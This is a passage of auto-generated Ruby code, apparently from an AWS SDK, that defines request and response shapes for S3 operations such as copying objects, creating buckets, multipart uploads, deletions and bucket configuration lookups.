CopyObjectOutput.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
CopyObjectOutput.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
CopyObjectOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
CopyObjectOutput.struct_class = Types::CopyObjectOutput
CopyObjectOutput[:payload] = :copy_object_result
CopyObjectOutput[:payload_member] = CopyObjectOutput.member(:copy_object_result)
CopyObjectRequest.add_member(:acl, Shapes::ShapeRef.new(shape: ObjectCannedACL, location: "header", location_name: "x-amz-acl"))
CopyObjectRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
CopyObjectRequest.add_member(:cache_control, Shapes::ShapeRef.new(shape: CacheControl, location: "header", location_name: "Cache-Control"))
CopyObjectRequest.add_member(:content_disposition, Shapes::ShapeRef.new(shape: ContentDisposition, location: "header", location_name: "Content-Disposition"))
CopyObjectRequest.add_member(:content_encoding, Shapes::ShapeRef.new(shape: ContentEncoding, location: "header", location_name: "Content-Encoding"))
CopyObjectRequest.add_member(:content_language, Shapes::ShapeRef.new(shape: ContentLanguage, location: "header", location_name: "Content-Language"))
CopyObjectRequest.add_member(:content_type, Shapes::ShapeRef.new(shape: ContentType, location: "header", location_name: "Content-Type"))
CopyObjectRequest.add_member(:copy_source, Shapes::ShapeRef.new(shape: CopySource, required: true, location: "header", location_name: "x-amz-copy-source"))
CopyObjectRequest.add_member(:copy_source_if_match, Shapes::ShapeRef.new(shape: CopySourceIfMatch, location: "header", location_name: "x-amz-copy-source-if-match"))
CopyObjectRequest.add_member(:copy_source_if_modified_since, Shapes::ShapeRef.new(shape: CopySourceIfModifiedSince, location: "header", location_name: "x-amz-copy-source-if-modified-since"))
CopyObjectRequest.add_member(:copy_source_if_none_match, Shapes::ShapeRef.new(shape: CopySourceIfNoneMatch, location: "header", location_name: "x-amz-copy-source-if-none-match"))
CopyObjectRequest.add_member(:copy_source_if_unmodified_since, Shapes::ShapeRef.new(shape: CopySourceIfUnmodifiedSince, location: "header", location_name: "x-amz-copy-source-if-unmodified-since"))
CopyObjectRequest.add_member(:expires, Shapes::ShapeRef.new(shape: Expires, location: "header", location_name: "Expires"))
CopyObjectRequest.add_member(:grant_full_control, Shapes::ShapeRef.new(shape: GrantFullControl, location: "header", location_name: "x-amz-grant-full-control"))
CopyObjectRequest.add_member(:grant_read, Shapes::ShapeRef.new(shape: GrantRead, location: "header", location_name: "x-amz-grant-read"))
CopyObjectRequest.add_member(:grant_read_acp, Shapes::ShapeRef.new(shape: GrantReadACP, location: "header", location_name: "x-amz-grant-read-acp"))
CopyObjectRequest.add_member(:grant_write_acp, Shapes::ShapeRef.new(shape: GrantWriteACP, location: "header", location_name: "x-amz-grant-write-acp"))
CopyObjectRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
CopyObjectRequest.add_member(:metadata, Shapes::ShapeRef.new(shape: Metadata, location: "headers", location_name: "x-amz-meta-"))
CopyObjectRequest.add_member(:metadata_directive, Shapes::ShapeRef.new(shape: MetadataDirective, location: "header", location_name: "x-amz-metadata-directive"))
CopyObjectRequest.add_member(:tagging_directive, Shapes::ShapeRef.new(shape: TaggingDirective, location: "header", location_name: "x-amz-tagging-directive"))
CopyObjectRequest.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
CopyObjectRequest.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location: "header", location_name: "x-amz-storage-class"))
CopyObjectRequest.add_member(:website_redirect_location, Shapes::ShapeRef.new(shape: WebsiteRedirectLocation, location: "header", location_name: "x-amz-website-redirect-location"))
CopyObjectRequest.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
CopyObjectRequest.add_member(:sse_customer_key, Shapes::ShapeRef.new(shape: SSECustomerKey, location: "header", location_name: "x-amz-server-side-encryption-customer-key"))
CopyObjectRequest.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
CopyObjectRequest.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
CopyObjectRequest.add_member(:copy_source_sse_customer_algorithm, Shapes::ShapeRef.new(shape: CopySourceSSECustomerAlgorithm, location: "header", location_name: "x-amz-copy-source-server-side-encryption-customer-algorithm"))
CopyObjectRequest.add_member(:copy_source_sse_customer_key, Shapes::ShapeRef.new(shape: CopySourceSSECustomerKey, location: "header", location_name: "x-amz-copy-source-server-side-encryption-customer-key"))
CopyObjectRequest.add_member(:copy_source_sse_customer_key_md5, Shapes::ShapeRef.new(shape: CopySourceSSECustomerKeyMD5, location: "header", location_name: "x-amz-copy-source-server-side-encryption-customer-key-MD5"))
CopyObjectRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
CopyObjectRequest.add_member(:tagging, Shapes::ShapeRef.new(shape: TaggingHeader, location: "header", location_name: "x-amz-tagging"))
CopyObjectRequest.struct_class = Types::CopyObjectRequest
CopyObjectResult.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location_name: "ETag"))
CopyObjectResult.add_member(:last_modified, Shapes::ShapeRef.new(shape: LastModified, location_name: "LastModified"))
CopyObjectResult.struct_class = Types::CopyObjectResult
CopyPartResult.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location_name: "ETag"))
CopyPartResult.add_member(:last_modified, Shapes::ShapeRef.new(shape: LastModified, location_name: "LastModified"))
CopyPartResult.struct_class = Types::CopyPartResult
CreateBucketConfiguration.add_member(:location_constraint, Shapes::ShapeRef.new(shape: BucketLocationConstraint, location_name: "LocationConstraint"))
CreateBucketConfiguration.struct_class = Types::CreateBucketConfiguration
CreateBucketOutput.add_member(:location, Shapes::ShapeRef.new(shape: Location, location: "header", location_name: "Location"))
CreateBucketOutput.struct_class = Types::CreateBucketOutput
CreateBucketRequest.add_member(:acl, Shapes::ShapeRef.new(shape: BucketCannedACL, location: "header", location_name: "x-amz-acl"))
CreateBucketRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
CreateBucketRequest.add_member(:create_bucket_configuration, Shapes::ShapeRef.new(shape: CreateBucketConfiguration, location_name: "CreateBucketConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
CreateBucketRequest.add_member(:grant_full_control, Shapes::ShapeRef.new(shape: GrantFullControl, location: "header", location_name: "x-amz-grant-full-control"))
CreateBucketRequest.add_member(:grant_read, Shapes::ShapeRef.new(shape: GrantRead, location: "header", location_name: "x-amz-grant-read"))
CreateBucketRequest.add_member(:grant_read_acp, Shapes::ShapeRef.new(shape: GrantReadACP, location: "header", location_name: "x-amz-grant-read-acp"))
CreateBucketRequest.add_member(:grant_write, Shapes::ShapeRef.new(shape: GrantWrite, location: "header", location_name: "x-amz-grant-write"))
CreateBucketRequest.add_member(:grant_write_acp, Shapes::ShapeRef.new(shape: GrantWriteACP, location: "header", location_name: "x-amz-grant-write-acp"))
CreateBucketRequest.struct_class = Types::CreateBucketRequest
CreateBucketRequest[:payload] = :create_bucket_configuration
CreateBucketRequest[:payload_member] = CreateBucketRequest.member(:create_bucket_configuration)
CreateMultipartUploadOutput.add_member(:abort_date, Shapes::ShapeRef.new(shape: AbortDate, location: "header", location_name: "x-amz-abort-date"))
CreateMultipartUploadOutput.add_member(:abort_rule_id, Shapes::ShapeRef.new(shape: AbortRuleId, location: "header", location_name: "x-amz-abort-rule-id"))
CreateMultipartUploadOutput.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, location_name: "Bucket"))
CreateMultipartUploadOutput.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
CreateMultipartUploadOutput.add_member(:upload_id, Shapes::ShapeRef.new(shape: MultipartUploadId, location_name: "UploadId"))
CreateMultipartUploadOutput.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
CreateMultipartUploadOutput.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
CreateMultipartUploadOutput.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
CreateMultipartUploadOutput.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
CreateMultipartUploadOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
CreateMultipartUploadOutput.struct_class = Types::CreateMultipartUploadOutput
CreateMultipartUploadRequest.add_member(:acl, Shapes::ShapeRef.new(shape: ObjectCannedACL, location: "header", location_name: "x-amz-acl"))
CreateMultipartUploadRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
CreateMultipartUploadRequest.add_member(:cache_control, Shapes::ShapeRef.new(shape: CacheControl, location: "header", location_name: "Cache-Control"))
CreateMultipartUploadRequest.add_member(:content_disposition, Shapes::ShapeRef.new(shape: ContentDisposition, location: "header", location_name: "Content-Disposition"))
CreateMultipartUploadRequest.add_member(:content_encoding, Shapes::ShapeRef.new(shape: ContentEncoding, location: "header", location_name: "Content-Encoding"))
CreateMultipartUploadRequest.add_member(:content_language, Shapes::ShapeRef.new(shape: ContentLanguage, location: "header", location_name: "Content-Language"))
CreateMultipartUploadRequest.add_member(:content_type, Shapes::ShapeRef.new(shape: ContentType, location: "header", location_name: "Content-Type"))
CreateMultipartUploadRequest.add_member(:expires, Shapes::ShapeRef.new(shape: Expires, location: "header", location_name: "Expires"))
CreateMultipartUploadRequest.add_member(:grant_full_control, Shapes::ShapeRef.new(shape: GrantFullControl, location: "header", location_name: "x-amz-grant-full-control"))
CreateMultipartUploadRequest.add_member(:grant_read, Shapes::ShapeRef.new(shape: GrantRead, location: "header", location_name: "x-amz-grant-read"))
CreateMultipartUploadRequest.add_member(:grant_read_acp, Shapes::ShapeRef.new(shape: GrantReadACP, location: "header", location_name: "x-amz-grant-read-acp"))
CreateMultipartUploadRequest.add_member(:grant_write_acp, Shapes::ShapeRef.new(shape: GrantWriteACP, location: "header", location_name: "x-amz-grant-write-acp"))
CreateMultipartUploadRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
CreateMultipartUploadRequest.add_member(:metadata, Shapes::ShapeRef.new(shape: Metadata, location: "headers", location_name: "x-amz-meta-"))
CreateMultipartUploadRequest.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
CreateMultipartUploadRequest.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location: "header", location_name: "x-amz-storage-class"))
CreateMultipartUploadRequest.add_member(:website_redirect_location, Shapes::ShapeRef.new(shape: WebsiteRedirectLocation, location: "header", location_name: "x-amz-website-redirect-location"))
CreateMultipartUploadRequest.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
CreateMultipartUploadRequest.add_member(:sse_customer_key, Shapes::ShapeRef.new(shape: SSECustomerKey, location: "header", location_name: "x-amz-server-side-encryption-customer-key"))
CreateMultipartUploadRequest.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
CreateMultipartUploadRequest.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
CreateMultipartUploadRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
CreateMultipartUploadRequest.add_member(:tagging, Shapes::ShapeRef.new(shape: TaggingHeader, location: "header", location_name: "x-amz-tagging"))
CreateMultipartUploadRequest.struct_class = Types::CreateMultipartUploadRequest
Delete.add_member(:objects, Shapes::ShapeRef.new(shape: ObjectIdentifierList, required: true, location_name: "Object"))
Delete.add_member(:quiet, Shapes::ShapeRef.new(shape: Quiet, location_name: "Quiet"))
Delete.struct_class = Types::Delete
DeleteBucketAnalyticsConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketAnalyticsConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: AnalyticsId, required: true, location: "querystring", location_name: "id"))
DeleteBucketAnalyticsConfigurationRequest.struct_class = Types::DeleteBucketAnalyticsConfigurationRequest
DeleteBucketCorsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketCorsRequest.struct_class = Types::DeleteBucketCorsRequest
DeleteBucketEncryptionRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketEncryptionRequest.struct_class = Types::DeleteBucketEncryptionRequest
DeleteBucketInventoryConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketInventoryConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: InventoryId, required: true, location: "querystring", location_name: "id"))
DeleteBucketInventoryConfigurationRequest.struct_class = Types::DeleteBucketInventoryConfigurationRequest
DeleteBucketLifecycleRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketLifecycleRequest.struct_class = Types::DeleteBucketLifecycleRequest
DeleteBucketMetricsConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketMetricsConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: MetricsId, required: true, location: "querystring", location_name: "id"))
DeleteBucketMetricsConfigurationRequest.struct_class = Types::DeleteBucketMetricsConfigurationRequest
DeleteBucketPolicyRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketPolicyRequest.struct_class = Types::DeleteBucketPolicyRequest
DeleteBucketReplicationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketReplicationRequest.struct_class = Types::DeleteBucketReplicationRequest
DeleteBucketRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketRequest.struct_class = Types::DeleteBucketRequest
DeleteBucketTaggingRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketTaggingRequest.struct_class = Types::DeleteBucketTaggingRequest
DeleteBucketWebsiteRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteBucketWebsiteRequest.struct_class = Types::DeleteBucketWebsiteRequest
DeleteMarkerEntry.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
DeleteMarkerEntry.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
DeleteMarkerEntry.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location_name: "VersionId"))
DeleteMarkerEntry.add_member(:is_latest, Shapes::ShapeRef.new(shape: IsLatest, location_name: "IsLatest"))
DeleteMarkerEntry.add_member(:last_modified, Shapes::ShapeRef.new(shape: LastModified, location_name: "LastModified"))
DeleteMarkerEntry.struct_class = Types::DeleteMarkerEntry
DeleteMarkers.member = Shapes::ShapeRef.new(shape: DeleteMarkerEntry)
DeleteObjectOutput.add_member(:delete_marker, Shapes::ShapeRef.new(shape: DeleteMarker, location: "header", location_name: "x-amz-delete-marker"))
DeleteObjectOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
DeleteObjectOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
DeleteObjectOutput.struct_class = Types::DeleteObjectOutput
DeleteObjectRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteObjectRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
DeleteObjectRequest.add_member(:mfa, Shapes::ShapeRef.new(shape: MFA, location: "header", location_name: "x-amz-mfa"))
DeleteObjectRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
DeleteObjectRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
DeleteObjectRequest.struct_class = Types::DeleteObjectRequest
DeleteObjectTaggingOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
DeleteObjectTaggingOutput.struct_class = Types::DeleteObjectTaggingOutput
DeleteObjectTaggingRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteObjectTaggingRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
DeleteObjectTaggingRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
DeleteObjectTaggingRequest.struct_class = Types::DeleteObjectTaggingRequest
DeleteObjectsOutput.add_member(:deleted, Shapes::ShapeRef.new(shape: DeletedObjects, location_name: "Deleted"))
DeleteObjectsOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
DeleteObjectsOutput.add_member(:errors, Shapes::ShapeRef.new(shape: Errors, location_name: "Error"))
DeleteObjectsOutput.struct_class = Types::DeleteObjectsOutput
DeleteObjectsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
DeleteObjectsRequest.add_member(:delete, Shapes::ShapeRef.new(shape: Delete, required: true, location_name: "Delete", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
DeleteObjectsRequest.add_member(:mfa, Shapes::ShapeRef.new(shape: MFA, location: "header", location_name: "x-amz-mfa"))
DeleteObjectsRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
DeleteObjectsRequest.struct_class = Types::DeleteObjectsRequest
DeleteObjectsRequest[:payload] = :delete
DeleteObjectsRequest[:payload_member] = DeleteObjectsRequest.member(:delete)
DeletedObject.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
DeletedObject.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location_name: "VersionId"))
DeletedObject.add_member(:delete_marker, Shapes::ShapeRef.new(shape: DeleteMarker, location_name: "DeleteMarker"))
DeletedObject.add_member(:delete_marker_version_id, Shapes::ShapeRef.new(shape: DeleteMarkerVersionId, location_name: "DeleteMarkerVersionId"))
DeletedObject.struct_class = Types::DeletedObject
DeletedObjects.member = Shapes::ShapeRef.new(shape: DeletedObject)
Destination.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location_name: "Bucket"))
Destination.add_member(:account, Shapes::ShapeRef.new(shape: AccountId, location_name: "Account"))
Destination.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location_name: "StorageClass"))
Destination.add_member(:access_control_translation, Shapes::ShapeRef.new(shape: AccessControlTranslation, location_name: "AccessControlTranslation"))
Destination.add_member(:encryption_configuration, Shapes::ShapeRef.new(shape: EncryptionConfiguration, location_name: "EncryptionConfiguration"))
Destination.struct_class = Types::Destination
Encryption.add_member(:encryption_type, Shapes::ShapeRef.new(shape: ServerSideEncryption, required: true, location_name: "EncryptionType"))
Encryption.add_member(:kms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location_name: "KMSKeyId"))
Encryption.add_member(:kms_context, Shapes::ShapeRef.new(shape: KMSContext, location_name: "KMSContext"))
Encryption.struct_class = Types::Encryption
EncryptionConfiguration.add_member(:replica_kms_key_id, Shapes::ShapeRef.new(shape: ReplicaKmsKeyID, location_name: "ReplicaKmsKeyID"))
EncryptionConfiguration.struct_class = Types::EncryptionConfiguration
EndEvent.struct_class = Types::EndEvent
Error.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
Error.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location_name: "VersionId"))
Error.add_member(:code, Shapes::ShapeRef.new(shape: Code, location_name: "Code"))
Error.add_member(:message, Shapes::ShapeRef.new(shape: Message, location_name: "Message"))
Error.struct_class = Types::Error
ErrorDocument.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location_name: "Key"))
ErrorDocument.struct_class = Types::ErrorDocument
Errors.member = Shapes::ShapeRef.new(shape: Error)
EventList.member = Shapes::ShapeRef.new(shape: Event)
ExposeHeaders.member = Shapes::ShapeRef.new(shape: ExposeHeader)
FilterRule.add_member(:name, Shapes::ShapeRef.new(shape: FilterRuleName, location_name: "Name"))
FilterRule.add_member(:value, Shapes::ShapeRef.new(shape: FilterRuleValue, location_name: "Value"))
FilterRule.struct_class = Types::FilterRule
FilterRuleList.member = Shapes::ShapeRef.new(shape: FilterRule)
GetBucketAccelerateConfigurationOutput.add_member(:status, Shapes::ShapeRef.new(shape: BucketAccelerateStatus, location_name: "Status"))
GetBucketAccelerateConfigurationOutput.struct_class = Types::GetBucketAccelerateConfigurationOutput
GetBucketAccelerateConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketAccelerateConfigurationRequest.struct_class = Types::GetBucketAccelerateConfigurationRequest
GetBucketAclOutput.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
GetBucketAclOutput.add_member(:grants, Shapes::ShapeRef.new(shape: Grants, location_name: "AccessControlList"))
GetBucketAclOutput.struct_class = Types::GetBucketAclOutput
GetBucketAclRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketAclRequest.struct_class = Types::GetBucketAclRequest
GetBucketAnalyticsConfigurationOutput.add_member(:analytics_configuration, Shapes::ShapeRef.new(shape: AnalyticsConfiguration, location_name: "AnalyticsConfiguration"))
GetBucketAnalyticsConfigurationOutput.struct_class = Types::GetBucketAnalyticsConfigurationOutput
GetBucketAnalyticsConfigurationOutput[:payload] = :analytics_configuration
GetBucketAnalyticsConfigurationOutput[:payload_member] = GetBucketAnalyticsConfigurationOutput.member(:analytics_configuration)
GetBucketAnalyticsConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketAnalyticsConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: AnalyticsId, required: true, location: "querystring", location_name: "id"))
GetBucketAnalyticsConfigurationRequest.struct_class = Types::GetBucketAnalyticsConfigurationRequest
GetBucketCorsOutput.add_member(:cors_rules, Shapes::ShapeRef.new(shape: CORSRules, location_name: "CORSRule"))
GetBucketCorsOutput.struct_class = Types::GetBucketCorsOutput
GetBucketCorsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketCorsRequest.struct_class = Types::GetBucketCorsRequest
GetBucketEncryptionOutput.add_member(:server_side_encryption_configuration, Shapes::ShapeRef.new(shape: ServerSideEncryptionConfiguration, location_name: "ServerSideEncryptionConfiguration"))
GetBucketEncryptionOutput.struct_class = Types::GetBucketEncryptionOutput
GetBucketEncryptionOutput[:payload] = :server_side_encryption_configuration
GetBucketEncryptionOutput[:payload_member] = GetBucketEncryptionOutput.member(:server_side_encryption_configuration)
GetBucketEncryptionRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketEncryptionRequest.struct_class = Types::GetBucketEncryptionRequest
GetBucketInventoryConfigurationOutput.add_member(:inventory_configuration, Shapes::ShapeRef.new(shape: InventoryConfiguration, location_name: "InventoryConfiguration"))
GetBucketInventoryConfigurationOutput.struct_class = Types::GetBucketInventoryConfigurationOutput
GetBucketInventoryConfigurationOutput[:payload] = :inventory_configuration
GetBucketInventoryConfigurationOutput[:payload_member] = GetBucketInventoryConfigurationOutput.member(:inventory_configuration)
GetBucketInventoryConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketInventoryConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: InventoryId, required: true, location: "querystring", location_name: "id"))
GetBucketInventoryConfigurationRequest.struct_class = Types::GetBucketInventoryConfigurationRequest
GetBucketLifecycleConfigurationOutput.add_member(:rules, Shapes::ShapeRef.new(shape: LifecycleRules, location_name: "Rule"))
GetBucketLifecycleConfigurationOutput.struct_class = Types::GetBucketLifecycleConfigurationOutput
GetBucketLifecycleConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketLifecycleConfigurationRequest.struct_class = Types::GetBucketLifecycleConfigurationRequest
GetBucketLifecycleOutput.add_member(:rules, Shapes::ShapeRef.new(shape: Rules, location_name: "Rule"))
GetBucketLifecycleOutput.struct_class = Types::GetBucketLifecycleOutput
GetBucketLifecycleRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketLifecycleRequest.struct_class = Types::GetBucketLifecycleRequest
GetBucketLocationOutput.add_member(:location_constraint, Shapes::ShapeRef.new(shape: BucketLocationConstraint, location_name: "LocationConstraint"))
GetBucketLocationOutput.struct_class = Types::GetBucketLocationOutput
GetBucketLocationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketLocationRequest.struct_class = Types::GetBucketLocationRequest
GetBucketLoggingOutput.add_member(:logging_enabled, Shapes::ShapeRef.new(shape: LoggingEnabled, location_name: "LoggingEnabled"))
GetBucketLoggingOutput.struct_class = Types::GetBucketLoggingOutput
GetBucketLoggingRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketLoggingRequest.struct_class = Types::GetBucketLoggingRequest
GetBucketMetricsConfigurationOutput.add_member(:metrics_configuration, Shapes::ShapeRef.new(shape: MetricsConfiguration, location_name: "MetricsConfiguration"))
GetBucketMetricsConfigurationOutput.struct_class = Types::GetBucketMetricsConfigurationOutput
GetBucketMetricsConfigurationOutput[:payload] = :metrics_configuration
GetBucketMetricsConfigurationOutput[:payload_member] = GetBucketMetricsConfigurationOutput.member(:metrics_configuration)
GetBucketMetricsConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketMetricsConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: MetricsId, required: true, location: "querystring", location_name: "id"))
GetBucketMetricsConfigurationRequest.struct_class = Types::GetBucketMetricsConfigurationRequest
GetBucketNotificationConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketNotificationConfigurationRequest.struct_class = Types::GetBucketNotificationConfigurationRequest
GetBucketPolicyOutput.add_member(:policy, Shapes::ShapeRef.new(shape: Policy, location_name: "Policy"))
GetBucketPolicyOutput.struct_class = Types::GetBucketPolicyOutput
GetBucketPolicyOutput[:payload] = :policy
GetBucketPolicyOutput[:payload_member] = GetBucketPolicyOutput.member(:policy)
GetBucketPolicyRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketPolicyRequest.struct_class = Types::GetBucketPolicyRequest
GetBucketReplicationOutput.add_member(:replication_configuration, Shapes::ShapeRef.new(shape: ReplicationConfiguration, location_name: "ReplicationConfiguration"))
GetBucketReplicationOutput.struct_class = Types::GetBucketReplicationOutput
GetBucketReplicationOutput[:payload] = :replication_configuration
GetBucketReplicationOutput[:payload_member] = GetBucketReplicationOutput.member(:replication_configuration)
GetBucketReplicationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketReplicationRequest.struct_class = Types::GetBucketReplicationRequest
GetBucketRequestPaymentOutput.add_member(:payer, Shapes::ShapeRef.new(shape: Payer, location_name: "Payer"))
GetBucketRequestPaymentOutput.struct_class = Types::GetBucketRequestPaymentOutput
